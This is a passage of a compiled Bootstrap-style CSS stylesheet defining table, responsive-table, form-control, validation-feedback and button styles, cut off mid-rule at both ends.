#c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table .thead-dark th {\n color: #fff;\n background-color: #212529;\n border-color: #32383e;\n}\n\n.table .thead-light th {\n color: #495057;\n background-color: #e9ecef;\n border-color: #dee2e6;\n}\n\n.table-dark {\n color: #fff;\n background-color: #212529;\n}\n\n.table-dark th,\n.table-dark td,\n.table-dark thead th {\n border-color: #32383e;\n}\n\n.table-dark.table-bordered {\n border: 0;\n}\n\n.table-dark.table-striped tbody tr:nth-of-type(odd) {\n background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-dark.table-hover tbody tr:hover {\n background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 575.98px) {\n .table-responsive-sm {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-sm > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 767.98px) {\n .table-responsive-md {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-md > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 991.98px) {\n .table-responsive-lg {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-lg > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 1199.98px) {\n .table-responsive-xl {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-xl > .table-bordered {\n border: 0;\n }\n}\n\n.table-responsive {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n}\n\n.table-responsive > .table-bordered {\n border: 0;\n}\n\n.form-control {\n display: block;\n width: 100%;\n padding: 0.375rem 0.75rem;\n font-size: 1rem;\n line-height: 1.5;\n color: #495057;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .form-control {\n transition: none;\n }\n}\n\n.form-control::-ms-expand {\n background-color: transparent;\n border: 0;\n}\n\n.form-control:focus {\n color: #495057;\n background-color: #fff;\n border-color: #80bdff;\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.form-control::-webkit-input-placeholder {\n color: #6c757d;\n opacity: 1;\n}\n\n.form-control::-moz-placeholder {\n color: #6c757d;\n opacity: 1;\n}\n\n.form-control:-ms-input-placeholder {\n color: #6c757d;\n opacity: 1;\n}\n\n.form-control::-ms-input-placeholder {\n color: #6c757d;\n opacity: 1;\n}\n\n.form-control::placeholder {\n color: #6c757d;\n opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n background-color: #e9ecef;\n opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n height: calc(2.25rem + 2px);\n}\n\nselect.form-control:focus::-ms-value {\n color: #495057;\n background-color: #fff;\n}\n\n.form-control-file,\n.form-control-range {\n display: block;\n width: 100%;\n}\n\n.col-form-label {\n padding-top: calc(0.375rem + 1px);\n padding-bottom: calc(0.375rem + 1px);\n margin-bottom: 0;\n font-size: inherit;\n line-height: 1.5;\n}\n\n.col-form-label-lg {\n padding-top: calc(0.5rem + 1px);\n padding-bottom: calc(0.5rem + 1px);\n font-size: 1.25rem;\n line-height: 1.5;\n}\n\n.col-form-label-sm {\n padding-top: calc(0.25rem + 1px);\n padding-bottom: calc(0.25rem + 1px);\n font-size: 0.875rem;\n line-height: 1.5;\n}\n\n.form-control-plaintext {\n display: block;\n width: 100%;\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n margin-bottom: 0;\n line-height: 1.5;\n color: #212529;\n background-color: transparent;\n border: solid transparent;\n border-width: 1px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-lg > .input-group-append > .form-control-plaintext.btn {\n padding-right: 0;\n padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n border-radius: 0.2rem;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {\n height: calc(1.8125rem + 2px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n padding: 0.5rem 1rem;\n font-size: 1.25rem;\n line-height: 1.5;\n border-radius: 0.3rem;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {\n height: calc(2.875rem + 2px);\n}\n\n.form-group {\n margin-bottom: 1rem;\n}\n\n.form-text {\n display: block;\n margin-top: 0.25rem;\n}\n\n.form-row {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n margin-right: -5px;\n margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n padding-right: 5px;\n padding-left: 5px;\n}\n\n.form-check {\n position: relative;\n display: block;\n padding-left: 1.25rem;\n}\n\n.form-check-input {\n position: absolute;\n margin-top: 0.3rem;\n margin-left: -1.25rem;\n}\n\n.form-check-input:disabled ~ .form-check-label {\n color: #6c757d;\n}\n\n.form-check-label {\n margin-bottom: 0;\n}\n\n.form-check-inline {\n display: -ms-inline-flexbox;\n display: inline-flex;\n -ms-flex-align: center;\n align-items: center;\n padding-left: 0;\n margin-right: 0.75rem;\n}\n\n.form-check-inline .form-check-input {\n position: static;\n margin-top: 0;\n margin-right: 0.3125rem;\n margin-left: 0;\n}\n\n.valid-feedback {\n display: none;\n width: 100%;\n margin-top: 0.25rem;\n font-size: 80%;\n color: #28a745;\n}\n\n.valid-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%;\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: #fff;\n background-color: rgba(40, 167, 69, 0.8);\n border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n border-color: #28a745;\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .valid-feedback,\n.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,\n.form-control.is-valid ~ .valid-tooltip, .was-validated\n.custom-select:valid ~ .valid-feedback,\n.was-validated\n.custom-select:valid ~ .valid-tooltip,\n.custom-select.is-valid ~ .valid-feedback,\n.custom-select.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {\n color: #28a745;\n}\n\n.was-validated .form-check-input:valid ~ .valid-feedback,\n.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,\n.form-check-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {\n color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {\n background-color: #71dd8a;\n}\n\n.was-validated .custom-control-input:valid ~ .valid-feedback,\n.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,\n.custom-control-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {\n background-color: #34ce57;\n}\n\n.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {\n border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {\n border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid ~ .valid-feedback,\n.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,\n.custom-file-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.invalid-feedback {\n display: none;\n width: 100%;\n margin-top: 0.25rem;\n font-size: 80%;\n color: #dc3545;\n}\n\n.invalid-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%;\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: #fff;\n background-color: rgba(220, 53, 69, 0.8);\n border-radius: .2rem;\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n border-color: #dc3545;\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ .invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {\n color: #dc3545;\n}\n\n.was-validated .form-check-input:invalid ~ .invalid-feedback,\n.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,\n.form-check-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {\n color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {\n background-color: #efa2a9;\n}\n\n.was-validated .custom-control-input:invalid ~ .invalid-feedback,\n.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,\n.custom-control-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {\n background-color: #e4606d;\n}\n\n.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {\n border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {\n border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid ~ .invalid-feedback,\n.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,\n.custom-file-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-flow: row wrap;\n flex-flow: row wrap;\n -ms-flex-align: center;\n align-items: center;\n}\n\n.form-inline .form-check {\n width: 100%;\n}\n\n@media (min-width: 576px) {\n .form-inline label {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: center;\n align-items: center;\n -ms-flex-pack: center;\n justify-content: center;\n margin-bottom: 0;\n }\n .form-inline .form-group {\n display: -ms-flexbox;\n display: flex;\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n -ms-flex-flow: row wrap;\n flex-flow: row wrap;\n -ms-flex-align: center;\n align-items: center;\n margin-bottom: 0;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-plaintext {\n display: inline-block;\n }\n .form-inline .input-group,\n .form-inline .custom-select {\n width: auto;\n }\n .form-inline .form-check {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: center;\n align-items: center;\n -ms-flex-pack: center;\n justify-content: center;\n width: auto;\n padding-left: 0;\n }\n .form-inline .form-check-input {\n position: relative;\n margin-top: 0;\n margin-right: 0.25rem;\n margin-left: 0;\n }\n .form-inline .custom-control {\n -ms-flex-align: center;\n align-items: center;\n -ms-flex-pack: center;\n justify-content: center;\n }\n .form-inline .custom-control-label {\n margin-bottom: 0;\n }\n}\n\n.btn {\n display: inline-block;\n font-weight: 400;\n text-align: center;\n white-space: nowrap;\n vertical-align: middle;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n border: 1px solid transparent;\n padding: 0.375rem 0.75rem;\n font-size: 1rem;\n line-height: 1.5;\n border-radius: 0.25rem;\n transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .btn {\n transition: none;\n }\n}\n\n.btn:hover, .btn:focus {\n text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.btn.disabled, .btn:disabled {\n opacity: 0.65;\n}\n\n.btn:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {\n background-image: none;\n}\n\na.btn.disabled,\nfieldset:disabled a.btn {\n pointer-events: none;\n}\n\n.btn-primary {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-primary:hover {\n color: #fff;\n background-color: #0069d9;\n border-color: #0062cc;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,\n.show > .btn-primary.dropdown-toggle {\n color: #fff;\n background-color: #0062cc;\n border-color: #005cbf;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-primary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-secondary {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-secondary:hover {\n color: #fff;\n background-color: #5a6268;\n border-color: #545b62;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-secondary.dropdown-toggle {\n color: #fff;\n background-color: #545b62;\n border-color: #4e555b;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-secondary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-success {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-success:hover {\n color: #fff;\n background-color: #218838;\n border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,\n.show > .btn-success.dropdown-toggle {\n color: #fff;\n background-color: #1e7e34;\n border-color: #1c7430;\n}\n\n.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-success.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-info {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-info:hover {\n color: #fff;\n background-color: #138496;\n border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,\n.show > .btn-info.dropdown-toggle {\n color: #fff;\n background-color: #117a8b;\n border-color: #10707f;\n}\n\n.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-info.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-warning {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-warning:hover {\n color: #212529;\n background-color: #e0a800;\n border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,\n.show > .btn-warning.dropdown-toggle {\n color: #212529;\n background-color: #d39e00;\n border-color: #c69500;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-warning.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-danger {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-danger:hover {\n color: #fff;\n background-color: #c82333;\n border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,\n.show > .btn-danger.dropdown-toggle {\n color: #fff;\n background-color: #bd2130;\n border-color: #b21f2d;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-danger.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-light {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n color: #212529;\n background-color: #e2e6ea;\n border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,\n.show > .btn-light.dropdown-toggle {\n color: #212529;\n background-color: #dae0e5;\n border-color: #d3d9df;\n}\n\n.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-light.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-dark {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-dark:hover {\n color: #fff;\n background-color: #23272b;\n border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,\n.show > .btn-dark.dropdown-toggle {\n color: #fff;\n background-color: #1d2124;\n border-color: #171a1d;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-dark.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-primary {\n color: #007bff;\n background-color: transparent;\n background-image: none;\n border-color: #007bff;\n}\n\n.btn-outline-primary:hover {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n color: #007bff;\n background-color: transparent;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-primary.dropdown-toggle {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-primary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-secondary {\n color: #6c757d;\n background-color: transparent;\n background-image: none;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:hover {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n color: #6c757d;\n background-color: transparent;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-secondary.dropdown-toggle {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-secondary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-success {\n color: #28a745;\n background-color: transparent;\n background-image: none;\n border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n color: #28a745;\n background-color: transparent;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,\n.show > .btn-outline-success.dropdown-toggle {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-success.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-info {\n color: #17a2b8;\n background-color: transparent;\n background-image: none;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n color: #17a2b8;\n background-color: transparent;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,\n.show > .btn-outline-info.dropdown-toggle {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-info.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-warning {\n color: #ffc107;\n background-color: transparent;\n background-image: none;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n color: #ffc107;\n background-color: transparent;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,\n.show > .btn-outline-warning.dropdown-toggle {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-warning.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-danger {\n color: #dc3545;\n background-color: transparent;\n background-image: none;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n color: #dc3545;\n background-color: transparent;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,\n.show > .btn-outline-danger.dropdown-toggle {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-danger.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-light {\n color: #f8f9fa;\n background-color: transparent;\n background-image: none;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 